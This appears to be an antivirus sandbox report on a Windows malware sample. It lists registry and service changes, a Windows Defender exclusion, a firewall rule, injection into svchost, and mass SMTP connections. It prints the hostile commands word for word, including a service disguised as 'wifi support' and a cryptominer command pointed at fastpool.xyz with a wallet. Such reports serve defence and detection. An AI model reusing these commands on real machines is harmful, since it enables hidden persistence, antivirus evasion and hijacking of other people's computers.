Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\rxrxowck] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rxrxowck] 'ImagePath' = '%WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\rxrxowck] 'ImagePath' = '%WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe'
Creates the following services
- 'rxrxowck' %WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe /d"<Full path to file>"
- 'rxrxowck' %WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rxrxowck' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\hbrumhbw.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\hbrumhbw.exe to %WINDIR%\syswow64\rxrxowck\hbrumhbw.exe
Deletes itself.
Network activity
Connects to
- 'mi##########m.mail.protection.outlook.com':25
- 'mx#.###vateemail.com':25
- 'au##########om.mail.protection.outlook.com':25
- 'fa###ool.xyz':10060
- 'mx#######602.gslb.pphosted.com':25
- 'mx#######401.gslb.pphosted.com':25
- 'ma##.gaggle.net':25
- 'mx#######f01.gslb.pphosted.com':25
- 'mx#.#use.net':25
- 'mx##.mb5p.com':25
- 'se########.mail.protection.outlook.com':25
- 'sm###.#vitonline.com':25
- 'to###.tom.com':25
- 'google.com':443
- 'mx#.#ate.com':25
- 'mx.###m.kgslb.com':25
- 'ma##.##chnovalue.com':25
- 'ko##ct.us':25
- 'ma##.#ogogmail.com':25
- 'mx.##wered.name':25
- 'mx##.###us-vadesecure.net':25
- 'mx#######501.gslb.pphosted.com':25
- 'ma##.#hinhan.com':25
- 'mx.######mail.rediff.akadns.net':25
- 'mx.#len.pl':25
- 'mx.###zta.onet.pl':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx.#p.pl':25
- 'mx#######601.gslb.pphosted.com':25
- 'ma#####.neonthi.info':25
- 'sv####lfheim.top':443
- '91.##3.33.254':487
- 'mx####.##il.gm0.yahoodns.net':25
- 'mc######.mx.a.cloudfilter.net':25
- '62.##4.41.23':431
- '31.##.244.82':431
- '62.##4.41.24':431
- '91.#43.33.5':431
- '62.##4.41.25':431
- '31.##.244.85':431
- 'google.com':80
- 'ALT2.ASPMX.L.GOOGLE.COM':25
- 'mx.##ghes.net':25
- 'mx.##stpost.net':25
- 'mx#.##inetworks.com':25
- 'mx.###eric-isp.com':25
- 'se####.indeed.com':443
- 'aspmx.l.google.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx#.##ckeyecom.net':25
- 'th###########-com.mail.protection.outlook.com':25
- 'ma####3.hierewa.com':25
- 'ma###.eircom.net':25
- 'mx#######c01.gslb.pphosted.com':25
- 'mx#.###959.iphmx.com':25
- 'mx######91d01.pphosted.com':25
- 'mx.#a.com':25
TCP
HTTP GET requests
- http://www.google.com/
Other
- 'sv####lfheim.top':443
- 'ma#####.neonthi.info':25
- 'alt1.aspmx.l.google.com':25
- 'fa###ool.xyz':10060
- 'au##########om.mail.protection.outlook.com':25
- 'ma##.gaggle.net':25
- 'mx#.###vateemail.com':25
- 'mx##.mb5p.com':25
- 'se########.mail.protection.outlook.com':25
- 'sm###.#vitonline.com':25
- 'to###.tom.com':25
- 'google.com':443
- 'mx.###m.kgslb.com':25
- 'ma##.##chnovalue.com':25
- 'ko##ct.us':25
- 'mx.##wered.name':25
- 'ma###.eircom.net':25
- 'mx.######mail.rediff.akadns.net':25
- 'ma####3.hierewa.com':25
- 'th###########-com.mail.protection.outlook.com':25
- '91.##3.33.254':487
- '62.##4.41.24':431
- '62.##4.41.23':431
- '62.##4.41.25':431
- '91.#43.33.5':431
- '31.##.244.82':431
- '31.##.244.85':431
- 'mx####.##il.gm0.yahoodns.net':25
- 'ALT2.ASPMX.L.GOOGLE.COM':25
- 'mx.##stpost.net':25
- 'mx.##ghes.net':25
- 'mx.###eric-isp.com':25
- 'se####.indeed.com':443
- 'aspmx.l.google.com':25
- 'mx#.##inetworks.com':25
- 'mx#.##ckeyecom.net':25
- 'mx.###zta.onet.pl':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK na##.com
- DNS ASK to###.tom.com
- DNS ASK to#.com
- DNS ASK sm###.#vitonline.com
- DNS ASK sv###nline.com
- DNS ASK gl####rotter.net
- DNS ASK se########.mail.protection.outlook.com
- DNS ASK se##ym.com
- DNS ASK mx##.mb5p.com
- DNS ASK bt###ernat.com
- DNS ASK mx#.#ate.com
- DNS ASK mx#.#use.net
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK su#.com
- DNS ASK ma##.gaggle.net
- DNS ASK ga##le.net
- DNS ASK an###try.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK ts##orp.com
- DNS ASK mx#######602.gslb.pphosted.com
- DNS ASK pg.com
- DNS ASK fa###ool.xyz
- DNS ASK fu##.net
- DNS ASK ha##ail.net
- DNS ASK mx.###m.kgslb.com
- DNS ASK te###ovalue.com
- DNS ASK mx.#p.pl
- DNS ASK wp.pl
- DNS ASK mx.###zta.onet.pl
- DNS ASK vp.pl
- DNS ASK mx.#len.pl
- DNS ASK tl#n.pl
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK re###fmail.com
- DNS ASK ma##.#hinhan.com
- DNS ASK sh##han.com
- DNS ASK wa##1.org
- DNS ASK mx#######501.gslb.pphosted.com
- DNS ASK am###trade.com
- DNS ASK mx##.###us-vadesecure.net
- DNS ASK ea###link.net
- DNS ASK mx.##wered.name
- DNS ASK sa###mail.com
- DNS ASK po###ilset.org
- DNS ASK ma##.#ogogmail.com
- DNS ASK go###mail.com
- DNS ASK ko##ct.us
- DNS ASK fo###mail.com
- DNS ASK ma##.##chnovalue.com
- DNS ASK au##########om.mail.protection.outlook.com
- DNS ASK ya.com
- DNS ASK au###ation.com
- DNS ASK so####awjones.com
- DNS ASK mx.###eric-isp.com
- DNS ASK ul###ails.com
- DNS ASK mx#.##inetworks.com
- DNS ASK pa.net
- DNS ASK mx.##stpost.net
- DNS ASK we###ost.net
- DNS ASK mx.##ghes.net
- DNS ASK hu##es.net
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK li###lnk12.org
- DNS ASK se####.indeed.com
- DNS ASK google.com
- DNS ASK mc######.mx.a.cloudfilter.net
- DNS ASK mc##i.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ve##zon.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK sv####lfheim.top
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK la####ndunion.org
- DNS ASK aspmx.l.google.com
- DNS ASK cr##ers.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK ba##.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK sh###erfly.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ci######ristianschool.org
- DNS ASK mx######91d01.pphosted.com
- DNS ASK be###outh.com
- DNS ASK ma#####.neonthi.info
- DNS ASK ne###hi.info
- DNS ASK mx#.###959.iphmx.com
- DNS ASK re##era.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK ge##le1.com
- DNS ASK ma###.eircom.net
- DNS ASK ei##om.net
- DNS ASK ma####3.hierewa.com
- DNS ASK hi##ewa.com
- DNS ASK th###########-com.mail.protection.outlook.com
- DNS ASK th####wcentre.com
- DNS ASK mx#.##ckeyecom.net
- DNS ASK bu####eexpress.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK mx#.###vateemail.com
- DNS ASK mx.#a.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\rxrxowck\hbrumhbw.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rxrxowck\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hbrumhbw.exe" %WINDIR%\SysWOW64\rxrxowck\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create rxrxowck binPath= "%WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description rxrxowck "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start rxrxowck' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rxrxowck\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\hbrumhbw.exe" %WINDIR%\SysWOW64\rxrxowck\
- '%WINDIR%\syswow64\sc.exe' create rxrxowck binPath= "%WINDIR%\SysWOW64\rxrxowck\hbrumhbw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description rxrxowck "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start rxrxowck
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
